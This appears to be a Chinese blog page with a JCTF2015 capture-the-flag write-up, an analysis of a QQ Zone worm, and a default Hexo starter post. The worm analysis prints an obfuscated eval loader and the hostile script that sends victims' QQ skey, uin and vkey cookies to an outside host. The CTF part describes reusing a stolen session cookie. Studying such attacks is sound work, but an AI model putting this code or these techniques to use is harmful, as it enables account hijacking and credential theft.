JCTF2015非官方writeup

这次水平有限,所以只做出了四道题……请大家尽情鄙视我们吧……

0x1

在资源文件夹中有一个bababa.wav的文件,用AU打开,发现是四声道,下面的两个音轨是二进制波形。按照高低不同分为01记下后,每八位一组,转换为char,即可得到flag。

0x2

根据提示可得栈226有问题, 发现所有记录中均使用DES-EBC加密,key为stringWi。从github上down一个des解密算法,把226的post数据base64解码后使用des解密,即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
{
"bundle" : "com.Securitygossip",
"os" : "0.0.1",
"status" : "solved",
"app" : "XcodeGhost",
"country" : "CN",
"language" : "zh-Hans",
"version" : "426",
"type" : "iPhone6,",
"timestamp" : "1440065480",
"name" : "JCTF{XcodeGhost_is_everywhere}"
}

0x6-1

在根目录下的robots.txt中发现如下字符串:

1
2
User-agent: *
Disallow: /13c087c969641bc59fffc97dccd5e673.php?ajiao=whosays*$

最后两个字符看起来像一个正则表达式。

打开Disallow的网址之后,发现php文件的ETAG有点特殊,其它文件的ETAG都是正常的,只有php文件的ETAG是一串连起来的字符:

1
61573135623356795a6d467563773d3d

将ETAG每两位分隔开,作为URL编码来解码,得到一个base64串:

1
aW15b3VyZmFucw==

解码后得到“imyourfans”。

考虑之前robots.txt中的提示,将此字符串带入参数:

1
?ajiao=whosaysimyourfans

访问之后,可以在最下方找到如下代码:

1
<script>alert("JCTF{keep_clam_and_carry_on}")</script><script>alert("# 0x2/1c8bd3e2bdb4c43d317ef5fbef73aab0.php")</script>

0x6-2

查看网页源代码,可以看到一段注释:

1
<!--my birthday 19xxxxxx-->

根据注释和上面<img>标签的alt,容易联想到“刘涛生日”,百度可得19780712。然而输入进去发现并没有立即提交。

看到网页中的一段js,这是在用jQuery发post包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function sendreq() {
var requestUrl = "./1c8bd3e2bdb4c43d317ef5fbef73aab0.php";
$.ajax({
type: "post",
data: "pwd=" + $("#liutao").val(),
dataType: "text",
contentType: 'application/x-www-form-urlencoded',
url: requestUrl,
async: false,
complete: function() {},
error: function(xhr) {
alert(xhr);
},
success: function(msg) {
if (msg == "error")
alert("Password Error!");
else
window.location.href = msg;
}
});
}

其中data的值为“pwd=19780712”,用Fiddler模拟发个包就好了,可以在网页最下方发现提示:“不是土豪不过关,请用iphone7浏览”……主办方丧心病狂……

然后我当时智商太低,并没有意识到iphone只出到了6s,傻傻去百度iphone7的参数去了……结果真发现了,iphone7使用的是iOS10系统,所以将浏览器UA中的版本改成10就可以了,访问得到一个图片的路径,以及一句提示:“wrong session”。

打开图片,里面是一些用xss获取到的cookie,将PHPSESSID替换掉再访问,即可获取flag。

对QQ空间自动转发/加好友的研究

前几天,QQ 空间的一大批好友转了所谓“优衣库”的一个视频,不用说,肯定是QQ空间有什么XSS漏洞了。有学弟让我去研究,其实我是拒绝的,因为我当时在搞别的事情,随便看了看源码没发现问题,于是就放到脑后了。

昨天晚上发现空间里又有好友转发的现象,甚至有自动加好友的问题。正好大半夜一个人有安静的时间,于是就顺便研究一下。

一开始没有头绪,在想是不是QQ空间有直接的XSS漏洞,于是看到了分享链接的标题,“▶↔§↙♯敱”这几个字很可疑,但是经过encodeURIComponent之后发现并没什么异常,这条路走不通。

从隐身窗口中打开链接(链接地址是恶意网址这个很容易看出来),但是并没看出代码有什么问题,除了页面最下方有一个loadscript.js,看名字应该是加载一个JavaScript代码,但是网址却是一个.php结尾的网址。

1
2
3
4
5
6
7
var dor = parseInt(cookieRead("sdone"));
if (dor && dor > 0) {
//;
} else {
loadscript.js("/v/getplay.php");
cookie_set("sdone", 99);
}

但是好像并没有什么端倪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function rndNum(len) {
if (len && len > 0 && len < 100) {} else {
len = 32;
}
var strs = "123456789";
var maxPos = strs.length;
var rdstr = "";
for (i = 0; i < len; i++) {
rdstr += strs.charAt(Math.floor(Math.random() * maxPos));
}
return rdstr;
}
if (cookieRead) {
var dor = cookieRead("adplay");
if (dor && dor > 0) {
//;
} else {
cookie_set("adplay", 99);
}
}

这条路也走不通。为了重现这个问题,我决定亲自实验一下。于是我在普通Chrome窗口中点开了这个链接。

然并卵。

什么都没发生,所以这肯定是只在手机QQ的浏览器中才有用。手头没有手机上的抓包工具,不过还好以前写前端的时候,为了方便测试移动端兼容性特地写了个页面:设备信息检测,于是用手机访问了一下,我的手机QQ浏览器的UA是这样的:

1
Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; HUAWEI G7-TL00 Build/HuaweiG7-TL00) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025442 Mobile Safari/533.1 V1_AND_SQ_5.7.2_260_YYB_D QQ/5.7.2.2490 NetType/4G WebP/0.3.0

在Chrome的开发者工具中将UA修改成这个,然而发现我已经上不去那个网站了。

天无绝人之路。将其一键加入科学上网列表之后,发现那个getplay.php的请求没了……

可能是人家防止我们分析吧。没关系,把网址中的随机参数改一改,清空一下缓存啥的,于是这个神奇的文件又出现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
document.getElementById("footad").src = "http://blog.qq.com/qzone/1107397297/1407071241.htm?vid=" + window.vid;
function rndNum(len) {
if (len && len > 0 && len < 100) {} else {
len = 32;
}
var strs = "123456789";
var maxPos = strs.length;
var rdstr = "";
for (i = 0; i < len; i++) {
rdstr += strs.charAt(Math.floor(Math.random() * maxPos));
}
return rdstr;
}
if (cookieRead) {
var dor = cookieRead("adplay");
if (dor && dor > 0) {
//;
} else {
cookie_set("adplay", 99);
}
}

第一行……在干啥?

实在是太晚了,于是我先睡觉了,睡得特别好,今天12点才起床。

于是打开网址看看吧(从console中获取到window.vid=19),发现了下面这么一段:

1
2
3
s = /e%3Ddocument.body.innerHTML%3Bs%3De.indexOf%28%22%2f%2f%27%2C%27pro%22%29%3Bif%28s%3E0%29%7Be%3De.substring%28s%2B2%29%3Bt%3De.indexOf%28%22%3C%5C%2F%22%29%3Bif%28t%3E0%29%7Be%3D%22g_weather%5B%27save%27%5D%3D%7B%27country%27%3A%27%E4%B8%AD%E5%9B%BD%22%2Be.substring%280%2Ct%29%3Beval%28e%29%7D%7D%3Bdocument.write(%27%3Cscr%69pt%20src%3D%22h%74%74p%3A%2f%2fimgc%61che.qq.skyd%61t%61s.com%2Fg%2Fn%2Fb.jpg%22%3E%3C%2Fscr%69pt%3E%27)/;
s = unescape(s);
eval(s.substring(1, s.length - 1));

eval执行的语句,也就是那个s里面的内容,是这样的:

1
2
3
4
5
6
7
8
9
10
11
e = document.body.innerHTML;
s = e.indexOf("//', 'pro");
if (s > 0) {
e = e.substring(s + 2);
t = e.indexOf("<\/");
if (t > 0) {
e = "g_weather['save']={'country':'中国" + e.substring(0, t);
eval(e)
}
};
document.write('<script src="<strong>http://imgcache.qq.skydatas.com/g/n/b.jpg</strong>"></script>')

可见这是加载了一个奇怪的资源:.jpg结尾的JavaScript代码。打开之后有个301跳转,追随过去看看吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
function tjskey() {
var eimg;
eimg = document.createElement("script");
eimg.type = "text/javascript";
var myskey = cookieRead("skey");
var myqq = parseInt(cookieRead("uin").replace("o", ""));
var vkey = cookieRead("vkey");
//if(myqq>500 && vkey.length>10){
if (myqq > 99999999) {
eimg.src = "http://db.outome.com/nsys/tsk.php?u=" + myqq + "&s=" + myskey + "&v=" + vkey + "&f=" + getQueryString("vid");
document.body.appendChild(eimg);
}
}

看到上面加粗的那一段了?通过http://db.outome.com/nsys/tsk.php这个接口将你的qq、skey、vkey、vid信息发到指定的位置。

还需要管别的么?有了key以后想做什么操作都随意了吧!

但是这并没有解决根本的疑问:blog.qq.com的网页上为什么会出现外面的代码?blog.qq.com我从来没听说过,看起来像QQ空间的前身,那为什么QQ没有弃用这个域名?是不是这个网站上有BUG?我就不得而知了。如果有大神有新的研究成果,求共享!

另,分享一篇寻找资料时找到的文章:qq空间某被利用的xss分析 - virusdefender’s blog,与本文的原理不同,这个是通过XSS修改<base>直接获取key以达到目标。但是该文章是通过网址中的imgdm参数进行反射型XSS,而本文应该属于存储型XSS。

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Thanks to the plugin hexo-multiauthor, we can support more than one author now!

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment